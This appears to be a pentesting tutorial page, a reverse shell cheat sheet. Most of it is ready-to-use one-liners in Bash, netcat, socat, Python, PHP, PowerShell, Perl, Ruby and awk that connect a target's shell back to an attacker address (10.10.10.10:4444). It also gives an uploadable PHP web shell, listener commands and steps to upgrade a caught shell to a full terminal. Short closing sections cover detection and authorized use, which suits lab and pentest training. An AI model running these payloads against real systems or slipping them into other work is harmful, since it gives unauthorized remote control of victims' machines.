Reverse Shell Cheat Sheet 2026: One-Liners for Any Shell

What Is a Reverse Shell?

A reverse shell is a shell session where the target machine initiates the connection back to the attacker, instead of the attacker connecting to the target. The attacker runs a listener, the victim runs a small payload that dials home, and the two ends join into an interactive command shell.

The direction is the whole trick. Most networks heavily filter inbound traffic but barely inspect outbound traffic, because outbound is just users browsing the web. A reverse shell rides that asymmetry: the victim makes what looks like a normal outbound TCP connection, and you get a shell on the far side of a firewall that would never have let you connect in.

This is also why reverse shells are described as a "reverse connection" in older literature. The classic write-up on the concept is the reverse connection technique, which predates modern pentesting and was originally a way for remote-administration tools to call home through NAT.

Reverse Shell vs Bind Shell

A bind shell does the opposite: the victim opens a listening port and waits for you to connect in. Bind shells are simpler, but they fail the moment a firewall sits between you and the target, which on any real network is always. The practical rule: reach for a bind shell only when outbound is fully blocked but you can still reach an inbound port, which is rare. Default to a reverse shell every time.

• Reverse shell - victim connects out to the attacker. Beats inbound firewall rules and NAT. The default choice.
• Bind shell - victim listens, attacker connects in. Simpler, but dies against egress-permissive, ingress-filtered networks.

How a Reverse Shell Works

Two halves have to line up. On your machine you run a listener that waits for an incoming connection. On the target you run a payload that connects to your listener and wires the connection's input and output to a shell interpreter.

Start the listener first, always. If the payload fires before anything is listening, the connection is refused and you are left wondering why a correct one-liner failed. The standard netcat listener is:

nc -lvnp 4444

The flags read as: -l listen, -v verbose so you see the connection land, -n no DNS resolution, -p 4444 the port. When the victim's payload runs, netcat prints a connection line and you are dropped into the target's shell. In practice, the very first thing to type is id, to confirm what user you landed as before you do anything else.

The Reverse Shell Cheat Sheet: One-Liners for Every Shell

This is the core of the page. Each block assumes your listener is already up on 10.10.10.10:4444. Pick the one that matches what the target has installed. On a stripped box you rarely get a choice, so it pays to recognise several.

Set Your Listener First

# Plain listener
nc -lvnp 4444

# Better: wrap netcat in rlwrap so arrow keys and history work
rlwrap nc -lvnp 4444

Opinionated tip: install rlwrap and never run a bare nc listener again. A reverse shell caught under rlwrap gives you command history and line editing immediately, before you even bother upgrading the TTY.

Bash

The most common Linux payload. It uses Bash's built-in /dev/tcp pseudo-device, so it needs no extra tools at all:

# Bash /dev/tcp (the everyday one)
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

# Wrapped, for pasting into a command-injection field
bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'

One catch worth knowing: /dev/tcp is a Bash feature, not a Linux feature. If the target's /bin/sh is dash (Debian and Ubuntu default), the same line fails silently. When in doubt, call bash explicitly rather than relying on sh.

Netcat

If the box has netcat, you have two paths. The clean one needs the -e flag, which most modern builds removed:

# Only works on netcat builds that still ship -e (rare now)
nc 10.10.10.10 4444 -e /bin/bash

Strong opinion: do not count on -e. The OpenBSD netcat that ships on Kali and most distros dropped it years ago for exactly this reason. The portable answer is the named-pipe trick, which works on practically any netcat:

# mkfifo / named pipe - works without -e
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f

socat

If both ends have socat, skip the dumb shell entirely. socat can hand you a fully interactive TTY from the start, which is the single biggest quality-of-life upgrade in this whole list:

# Listener (your box) - note the backticks around tty
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Victim - delivers a full PTY, no upgrade dance needed
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4444

Python

Python is on almost every Linux box and the payload is reliable. The version below spawns a PTY directly, so you get a half-decent shell without the upgrade steps:

# Python 3
python3 -c 'import socket,subprocess,os,pty;s=socket.socket();s.connect(("10.10.10.10",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

If only Python 2 exists on an old box, swap python3 for python; the rest is identical.

PHP

The payload to drop after a file-upload or LFI win on a web server. As a one-liner with the PHP CLI:

# PHP CLI one-liner
php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

As an uploadable web shell file:

<?php exec("/bin/sh -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"); ?>

Need a heavier PHP or Java payload generated for you? The msfvenom cheat sheet produces Meterpreter web shells in one command when a raw one-liner is not enough.

PowerShell (Windows)

Windows rarely has netcat, but it always has PowerShell. This is the standard one-liner; it is long because PowerShell has no built-in shell-redirection primitive:

powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('10.10.10.10',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"

Perl, Ruby, and awk

The fallbacks for when nothing else is present. awk in particular is on every Unix box ever shipped:

# Perl
perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Ruby
ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.10.10.10","4444");loop{c.print"\$ ";cmd=c.gets;break if cmd=~/exit/;(IO.popen(cmd,"r"){|io|c.print io.read})rescue nil}'

# awk
awk 'BEGIN {s = "/inet/tcp/0/10.10.10.10/4444"; while(42) { do{ printf "shell> " |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'

Catching and Stabilising the Connection

Catching the shell is the easy half; the dumb shell you get is the annoying half. A raw netcat catch has no job control, no tab completion, no history, and it dies the instant you hit Ctrl-C. Two listener choices make life easier before you even upgrade:

• rlwrap nc -lvnp 4444 - gives you readline (arrow keys, history) on the caught shell immediately.
• socat file:`tty`,raw,echo=0 tcp-listen:4444 - pairs with the socat victim payload for a full TTY with zero extra steps.

In practice, if you control both ends and socat is available, the socat-to-socat combination is the least painful catch by a wide margin. When you are stuck with netcat, move on to the TTY upgrade below.

Upgrading to a Fully Interactive TTY

This is the step most beginners skip and then suffer through. A netcat shell with no TTY cannot run sudo, ssh, su, or anything that wants a terminal, and a stray Ctrl-C kills your whole session. The fix is a short, memorised sequence:

# 1. In the reverse shell, spawn a PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

# 2. Background the shell: press Ctrl-Z

# 3. On YOUR local box, hand the terminal raw to the shell
stty raw -echo; fg

# 4. Back in the shell (it looks blank - press Enter), set the terminal
export TERM=xterm
stty rows 38 columns 116

After this you have a near-native terminal: tab completion, job control, working sudo prompts, and Ctrl-C that interrupts the remote command instead of killing your session. The stty rows/columns values should match your local terminal; run stty -a in a normal window to read yours.

Once you have a stable shell, the real work begins: figuring out how to go from this user to root. That is where an enumeration script earns its keep. Our guide on how to use LinPEAS picks up exactly where this cheat sheet ends, scanning the box for privilege escalation paths the moment your shell is stable.

How Defenders Detect and Block Reverse Shells

Understanding detection is half the job, and it is required reading if you ever sit on the blue-team side. Reverse shells are noisy if anyone is watching the right signals. Defenders catch them through a handful of reliable tells:

• Egress filtering - networks that allow outbound only on 80/443 break naive payloads pointed at port 4444. The defensive baseline is to deny outbound by default and allow by exception.
• Process lineage - a web server process (www-data) spawning bash, nc, or python with a network socket is a classic EDR signature. Children of web daemons should not be opening TCP connections.
• Outbound connection anomalies - a server that normally never initiates connections suddenly dialing an external IP is a strong indicator on netflow or DNS logs.

The technique maps to MITRE ATT&CK under Command and Scripting Interpreter (T1059), which catalogs the interpreter-based execution that every payload in this cheat sheet relies on. If you are building detections, that page is the reference for what to alert on.

Legal and Ethical Considerations

• Use these payloads only on systems you own, in dedicated labs, or within the defined scope of an authorized engagement.
• Keep your callbacks inside the scoped IP range. A reverse shell that connects out of scope is still out of scope.
• Log what you run during a client engagement. Shell access and the commands you ran belong in the report.
• Practice on intentionally vulnerable targets, not random internet hosts. The labs below exist for exactly this.